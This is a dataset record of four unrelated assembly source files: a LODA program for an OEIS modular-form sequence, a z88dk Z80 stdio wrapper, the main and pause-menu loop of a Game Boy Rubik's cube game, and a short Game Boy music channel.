TheStack | d4cc99a9cf91c42fe2e3dfc4435c69e324af86ba | Assemblycode:Assembly | {"size": 2798, "ext": "asm", "max_stars_repo_path": "programs/oeis/282/A282211.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/282/A282211.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/282/A282211.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 279.8, "max_line_length": 2383, "alphanum_fraction": 0.8666904932} | ; A282211: Coefficients in q-expansion of (6*E_2^2*E_4 - 8*E_2*E_6 + 3*E_4^2 - E_2^4)/6912, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively.
; 0,1,24,108,448,750,2592,2744,7680,9477,18000,15972,48384,30758,65856,81000,126976,88434,227448,137180,336000,296352,383328,292008,829440,484375,738192,787320,1229312,731670,1944000,953312,2064384,1724976,2122416,2058000,4245696,1924814,3292320,3321864,5760000,2894682,7112448,3498308,7155456,7107750,7008192,4983504,13713408,6705993,11625000,9550872,13779584,8039358,18895680,11979000,21073920,14815440,17560080,12322740,36288000,14072822,22879488,26004888,33292288,23068500,41399424,20451884,39618432,31536864,49392000,25769592,72783360,28787258,46195536,52312500,61456640,43827168,79724736,39443120,95232000,64304361,69472368,48030108,132765696,66325500,83959392,79020360,122664960,63447210,170586000,84399952,130819584,102957696,119604096,102885000,222953472,89441954,160943832,151366644,217000000,105090702,229220928,113643608,236221440,222264000,192944592,132304644,352719360,142453190,287496000,207879912,348422144,164490258,355570560,219006000,327788160,291493566,295745760,242662896,622080000,235617613,337747728,312625656,427083776,304687500,624117312,262193024,534773760,377817264,553644000,296748012,772789248,376421920,490845216,590490000,679173120,354846714,756884736,375986660,921984000,538218432,618470208,491266776,1203351552,548752500,690894192,724247244,862316672,496192350,1255500000,523328552,1053542400,838089018,1051852032,714984000,1488195072,611443094,946634880,868250664,1548288000,801269952,1543304664,710242508,1296817536,1293732000,1152722592,782453784,2275983360,883306047,1591812000,1300054860,1567241984,900922758,1896488640,1329125000,2028060672,1330855920,1522733040,1032361020,3184272000,1079212862,2025598848,1519864776,2242621440,1443610500,2470984704,1412467848,2232609792,2160406080,2469240000,1337831232,3595567104,1394677058,2146606896,2491398000,3004284864,1513783854,3632799456,1576119800,3720000000,2208803472,2522176848,2007702480,4278790656,2171011500,2727446592,2767359816,3905527808,2191038960,5334336000,1991513372,3601632384,2783115936,3175311456,2623731000,6046617600,2615888128,3418876560,3109023864,5366592000,2720052972,4989117888,2484063008,5664669696,4590421875,3947766192,2666934924,6637317120,2762067470,5256144000,4733334144,5619225600,2959944858,6995845584,3737628000,5520587520,4259856960,5823909504,3276460560,10285056000,3387400082,5654822712,5223002148,6304624256,5029494750,7503015744,4219382440,7321436160,5187251664
mov $2,$0
mul $0,2
cal $2,282097 ; Coefficients in q-expansion of (3*E_2*E_4 - 2*E_6 - E_2^3)/1728, where E_2, E_4, E_6 are the Eisenstein series shown in A006352, A004009, A013973, respectively.
mul $0,$2
mov $1,$0
div $1,2
|
||||
TheStack | 60fe8c8569698e44a6d4f3c9dd1f6e5be126a0fb | Assemblycode:Assembly | {"size": 675, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/fgetpos_callee.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/fgetpos_callee.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/stdio/c/sdcc_ix/fgetpos_callee.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"} | {"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 14.3617021277, "max_line_length": 47, "alphanum_fraction": 0.5407407407} |
; int fgetpos_callee(FILE *stream, fpos_t *pos)
INCLUDE "config_private.inc"
SECTION code_clib
SECTION code_stdio
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
IF __CLIB_OPT_MULTITHREAD & $02
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _fgetpos_callee, l0_fgetpos_callee
EXTERN asm_fgetpos
_fgetpos_callee:
pop af
pop bc
pop hl
push af
l0_fgetpos_callee:
push bc
ex (sp),ix
call asm_fgetpos
pop ix
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ELSE
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
PUBLIC _fgetpos_callee
EXTERN _fgetpos_unlocked_callee
defc _fgetpos_callee = _fgetpos_unlocked_callee
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||
TheStack | 2a397a85d63776cf2bd745f7591010f5d201676e | Assemblycode:Assembly | {"size": 2662, "ext": "asm", "max_stars_repo_path": "src/main.asm", "max_stars_repo_name": "NotImplementedLife/rubik", "max_stars_repo_stars_event_min_datetime": "2021-06-12T06:07:57.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-31T04:39:08.000Z", "max_issues_repo_path": "src/main.asm", "max_issues_repo_name": "NotImplementedLife/rubik", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/main.asm", "max_forks_repo_name": "NotImplementedLife/rubik", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": 4, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 18.8794326241, "max_line_length": 66, "alphanum_fraction": 0.5826446281} | INCLUDE "src/include/macros.inc"
SECTION "Main", ROM0
;-Entry--------------------------------------------------------
Start::
;---------------------------------------------------------Start
call waitForVBlank
ld a, %10010001
ld [rLCDC], a
ld [rOBP0], a
ld a, $00
ld [rOBP1], a
call copyCube0STAT
call copyCube1STAT
;call loadCubeState0
;call refreshBshSlots_Cube0
call PaintTiles0
call waitForVBlank
ld a, %11100100
ld [rBGP], a
initOAM SpritesData
ld a, [rLCDC]
or LCDCF_OBJON
ldh [rLCDC], a
call hideRotations
.loop
call waitForVBlank
call updateJoypadState
call ProcessInput
jr .loop
;---------------------------------------------------------Start
;-Entry--------------------------------------------------------
Pause:
;---------------------------------------------------------Pause
call PauseMenuInit
ld hl, SpritesData
ld de, PauseMenuData
ld bc, 160
call loadMemory
call waitForVBlank
initOAM SpritesData
.loop
call waitForVBlank
call updateJoypadState
ld a, [wJoypadPressed]
and a, PADF_DOWN
call nz, PauseMenuDown
ld a, [wJoypadPressed]
and a, PADF_UP
call nz, PauseMenuUp
ld a, [wJoypadPressed]
and a, PADF_B
jr nz, .justLeavePauseMenu
ld a, [wJoypadPressed]
and a, PADF_A
jr z, .loop
ld hl, SpritesData
ld de, ArrowsData
ld bc, 160
call loadMemory
call waitForVBlank
initOAM SpritesData
call hideRotations
ld a, [pmCrtSelected]
cp 2
jp z, TitleScreen
cp 1
jp nz, Start.loop
; Restore backup
ld hl, CubeState
ld de, CubeStateBackup
ld bc, 54
call loadMemory
call refreshBshSlots_Cube0
call PaintTiles0
jp Start.loop
.justLeavePauseMenu
;restore sprites
ld hl, SpritesData
ld de, ArrowsData
ld bc, 160
call loadMemory
call waitForVBlank
initOAM SpritesData
call hideRotations
jp Start.loop
;---------------------------------------------------------Pause
;-Func--------------------------------------------------------
ProcessInput:
;-------------------------------------------------ProcessInput
ld a, [wJoypadPressed]
and a, PADF_SELECT
call nz, nextRotDir
ld a, [wJoypadPressed]
and a, PADF_B
call nz, disableRot
ld a, [wJoypadPressed]
and a, PADF_LEFT
call nz, handleLeftPressed
ld a, [wJoypadPressed]
and a, PADF_RIGHT
call nz, handleRightPressed
ld a, [wJoypadPressed]
and a, PADF_START
jr nz, .launchPause
ret
.launchPause
pop bc ; immitate ret without exiting function
xor a
ld [rotActive], a ; disable hard rotations
jp Pause ; leave function, but jump execute pause menu logic
;-------------------------------------------------ProcessInput
|
||||
TheStack | 6e59a4094b5bfc5fe3e53bf0d677cf1267607615 | Assemblycode:Assembly | {"size": 122, "ext": "asm", "max_stars_repo_path": "src/sound/alarm_musics/alarm_one/channel3.asm", "max_stars_repo_name": "Gegel85/RunnerGB", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/sound/alarm_musics/alarm_one/channel3.asm", "max_issues_repo_name": "Gegel85/RunnerGB", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/sound/alarm_musics/alarm_one/channel3.asm", "max_forks_repo_name": "Gegel85/RunnerGB", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 13.5555555556, "max_line_length": 37, "alphanum_fraction": 0.7049180328} | musicChan3AlarmOneTheme::
repeat 4
setRegisters $80, $00, $00, $AC, $85
stopMusic
continue
.loop:
wait 0
jump .loop
|